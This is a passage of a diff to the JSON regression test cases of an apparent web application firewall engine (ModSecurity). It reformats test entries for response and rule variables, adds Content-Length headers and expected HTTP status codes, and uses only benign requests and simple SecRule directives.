REQUEST_URI_RAW (with URI fragment)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/one/two/testpost.php#urifrag", - "method":"GET", - "http_version":1.1 + "uri": "/one/two/testpost.php#urifrag", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ + "expected": { "http_code": 403 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_URI_RAW \"@contains urifrag\" \"id:1,phase:1,deny,status:403\"" ] } ] - diff --git a/test/test-cases/regression/variable-RESPONSE_BODY.json b/test/test-cases/regression/variable-RESPONSE_BODY.json index 6dac3ce758..b889a8870d 100644 --- a/test/test-cases/regression/variable-RESPONSE_BODY.json +++ b/test/test-cases/regression/variable-RESPONSE_BODY.json @@ -1,33 +1,134 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: RESPONSE_BODY", + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: RESPONSE_BODY", "client": { - "ip":"200.249.12.31" + "ip": "200.249.12.31", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Host": "localhost", + "Content-Length": "0" + }, + "uri": "/foo", + "method": "", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/plain", + "Content-Length": "10" + }, + "body": [ + "denystring" + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecResponseBodyAccess On", + "SecRule RESPONSE_BODY \"@contains denystring\" \"id:1,phase:4,deny\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: RESPONSE_BODY :: mixed case", + "client": { + "ip": "200.249.12.31", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Host": "localhost", + "Content-Length": "0" + }, + "uri": "/foo", + "method": "", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "TeXt/PLaIn", + "Content-Length": "10" + }, + "body": [ + "denystring" + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecResponseBodyMimeType text/plain text/html text/xml", + "SecResponseBodyAccess On", + "SecRule RESPONSE_BODY \"@contains denystring\" \"id:1,phase:4,deny\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: RESPONSE_BODY :: mixed case", + "client": { + "ip": "200.249.12.31", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 }, "request": { "headers": { - "Host":"localhost" + "Host": "localhost", + "Content-Length": "0" }, - "uri":"/foo", - "http_version":1.1 - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/plain" + "uri": "/foo", + "method": "", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "TeXt/PLaIn", + "Content-Length": "10" }, - "body":[ + "body": [ "denystring" ] }, - "expected":{ + "expected": { "http_code": 403 }, - "rules":[ + "rules": [ "SecRuleEngine On", + "SecResponseBodyMimeType TeXt/PlAiN text/hTmL Text/XML", "SecResponseBodyAccess On", "SecRule RESPONSE_BODY \"@contains denystring\" \"id:1,phase:4,deny\"" ] diff --git a/test/test-cases/regression/variable-RESPONSE_CONTENT_LENGTH.json b/test/test-cases/regression/variable-RESPONSE_CONTENT_LENGTH.json index f71bc707c7..1f8cbc863d 100644 --- a/test/test-cases/regression/variable-RESPONSE_CONTENT_LENGTH.json +++ b/test/test-cases/regression/variable-RESPONSE_CONTENT_LENGTH.json @@ -1,44 +1,49 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: RESPONSE_CONTENT_LENGTH", - "client":{ - "ip":"200.249.12.31", - "port":123 +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: RESPONSE_CONTENT_LENGTH", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET", - "http_version":1.1 + "uri": "/?key=value&key=other_value", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"9\" \\(Variable: RESPONSE_CONTENT_LENGTH\\)" + "expected": { + "debug_log": "Target value: \"8\" \\(Variable: RESPONSE_CONTENT_LENGTH\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecResponseBodyAccess On", "SecRule RESPONSE_CONTENT_LENGTH \"@contains test \" \"id:1,phase:4,pass,t:trim\"" ] } ] - diff --git a/test/test-cases/regression/variable-RESPONSE_CONTENT_TYPE.json b/test/test-cases/regression/variable-RESPONSE_CONTENT_TYPE.json index 704d20400a..8c217b4e25 100644 --- a/test/test-cases/regression/variable-RESPONSE_CONTENT_TYPE.json +++ b/test/test-cases/regression/variable-RESPONSE_CONTENT_TYPE.json @@ -1,43 +1,48 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: RESPONSE_CONTENT_TYPE", - "client":{ - "ip":"200.249.12.31", - "port":123 +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: RESPONSE_CONTENT_TYPE", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET", - "http_version":1.1 + "uri": "/?key=value&key=other_value", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"text/html\" \\(Variable: RESPONSE_CONTENT_TYPE\\)" + "expected": { + "debug_log": "Target value: \"text/html\" \\(Variable: RESPONSE_CONTENT_TYPE\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule RESPONSE_CONTENT_TYPE \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] } ] - diff --git a/test/test-cases/regression/variable-RESPONSE_HEADERS.json b/test/test-cases/regression/variable-RESPONSE_HEADERS.json index dd0c3d7487..4ca9208cb5 100644 --- a/test/test-cases/regression/variable-RESPONSE_HEADERS.json +++ b/test/test-cases/regression/variable-RESPONSE_HEADERS.json @@ -1,59 +1,61 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: RESPONSE_HEADERS", - "client":{ - "ip":"200.249.12.31", - "port":123 +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: RESPONSE_HEADERS", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "523", + "Content-Type": "multipart/form-data; boundary=------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "--------------------------756b6d74fa1a8ee2--" + "uri": "/", + "method": "POST", + "body": [ + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is a very small test file..\r\n", + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is another very small test file..\r\n", + "--------------------------756b6d74fa1a8ee2--\r\n" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"Mon, 13 Jul 2015 20:02:41 GMT\" \\(Variable: RESPONSE_HEADERS:Date\\)" + "expected": { + "debug_log": "Target value: \"Mon, 13 Jul 2015 20:02:41 GMT\" \\(Variable: RESPONSE_HEADERS:Date\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule RESPONSE_HEADERS \"@contains small_text_file.txt\" \"id:1,phase:3,pass,t:trim\"" ] diff --git a/test/test-cases/regression/variable-RESPONSE_HEADERS_NAMES.json b/test/test-cases/regression/variable-RESPONSE_HEADERS_NAMES.json index 1db8746ce8..40fce8d109 100644 --- a/test/test-cases/regression/variable-RESPONSE_HEADERS_NAMES.json +++ b/test/test-cases/regression/variable-RESPONSE_HEADERS_NAMES.json @@ -1,87 +1,89 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: RESPONSE_HEADERS_NAMES", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: RESPONSE_HEADERS_NAMES", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "523", + "Content-Type": "multipart/form-data; boundary=------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "--------------------------756b6d74fa1a8ee2--" + "uri": "/", + "method": "POST", + "body": [ + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is a very small test file..\r\n", + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is another very small test file..\r\n", + "--------------------------756b6d74fa1a8ee2--\r\n" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log": "Target value: \"Date\" \\(Variable: RESPONSE_HEADERS_NAMES:Date\\)" + "expected": { + "debug_log": "Target value: \"Date\" \\(Variable: RESPONSE_HEADERS_NAMES:Date\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule RESPONSE_HEADERS_NAMES \"@contains small_text_file.txt\" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: RESPONSE_HEADERS_NAMES", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: RESPONSE_HEADERS_NAMES", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "493", + "Content-Type": "multipart/form-data; boundary=------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ + "uri": "/", + "method": "POST", + "body": [ "--------------------------756b6d74fa1a8ee2", "Content-Disposition: form-data; name=\"name\"", "", @@ -99,48 +101,50 @@ "--------------------------756b6d74fa1a8ee2--" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log": "Target value: \"Last-Modified\" \\(Variable: RESPONSE_HEADERS_NAMES:Last-Modified\\)" + "expected": { + "debug_log": "Target value: \"Last-Modified\" \\(Variable: RESPONSE_HEADERS_NAMES:Last-Modified\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule RESPONSE_HEADERS_NAMES \"@contains small_text_file.txt\" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: RESPONSE_HEADERS_NAMES", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: RESPONSE_HEADERS_NAMES", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "493", + "Content-Type": "multipart/form-data; boundary=------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ + "uri": "/", + "method": "POST", + "body": [ "--------------------------756b6d74fa1a8ee2", "Content-Disposition: form-data; name=\"name\"", "", @@ -158,20 +162,22 @@ "--------------------------756b6d74fa1a8ee2--" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log": "Target value: \"Content-Type\" \\(Variable: RESPONSE_HEADERS_NAMES:Content-Type\\)" + "expected": { + "debug_log": "Target value: \"Content-Type\" \\(Variable: RESPONSE_HEADERS_NAMES:Content-Type\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule RESPONSE_HEADERS_NAMES \"@contains small_text_file.txt\" \"id:1,phase:3,pass,t:trim\"" ] diff --git a/test/test-cases/regression/variable-RESPONSE_PROTOCOL.json b/test/test-cases/regression/variable-RESPONSE_PROTOCOL.json index a54c16c0b5..c4b84a8052 100644 --- a/test/test-cases/regression/variable-RESPONSE_PROTOCOL.json +++ b/test/test-cases/regression/variable-RESPONSE_PROTOCOL.json @@ -1,44 +1,49 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: RESPONSE_PROTOCOL", - "client":{ - "ip":"200.249.12.31", - "port":123 +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: RESPONSE_PROTOCOL", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET", - "http_version":1.1 + "uri": "/?key=value&key=other_value", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "protocol": "HTTP/1.1", - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." - ] + ], + "protocol": "HTTP/1.1" }, - "expected":{ - "debug_log":"Target value: \"HTTP/1.1\" \\(Variable: RESPONSE_PROTOCOL\\)" + "expected": { + "debug_log": "Target value: \"HTTP/1.1\" \\(Variable: RESPONSE_PROTOCOL\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule RESPONSE_PROTOCOL \"^HTTP\" \"id:1,phase:5,pass,t:trim\"" ] } ] - diff --git a/test/test-cases/regression/variable-RULE.json b/test/test-cases/regression/variable-RULE.json index 2e787b206b..f622a7cecb 100644 --- a/test/test-cases/regression/variable-RULE.json +++ b/test/test-cases/regression/variable-RULE.json @@ -1,311 +1,324 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: RULE (1/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: RULE (1/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"1\" \\(Variable: RULE:id\\)" + "expected": { + "debug_log": "Target value: \"1\" \\(Variable: RULE:id\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule RULE:id \"@contains test\" \"id:1,phase:3,rev:1.3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: RULE (2/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: RULE (2/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"200\" \\(Variable: RULE:rev\\)" + "expected": { + "debug_log": "Target value: \"200\" \\(Variable: RULE:rev\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule RULE:rev \"@contains test\" \"id:1,rev:200,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: RULE (3/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: RULE (3/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"2\" \\(Variable: RULE:severity\\)" + "expected": { + "debug_log": "Target value: \"2\" \\(Variable: RULE:severity\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule RULE:severity \"@contains test\" \"id:1,phase:3,severity:critical,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: RULE (4/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: RULE (4/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"data123\" \\(Variable: RULE:logdata\\)" + "expected": { + "debug_log": "Target value: \"data123\" \\(Variable: RULE:logdata\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule RULE:logdata \"@contains test\" \"id:1,logdata:'data123',phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: RULE (5/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: RULE (5/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":" Target value: \"message123\" \\(Variable: RULE:msg\\)" + "expected": { + "debug_log": " Target value: \"message123\" \\(Variable: RULE:msg\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule RULE:msg \"@contains test\" \"id:1,msg:'message123',phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: RULE (6/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: RULE (6/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 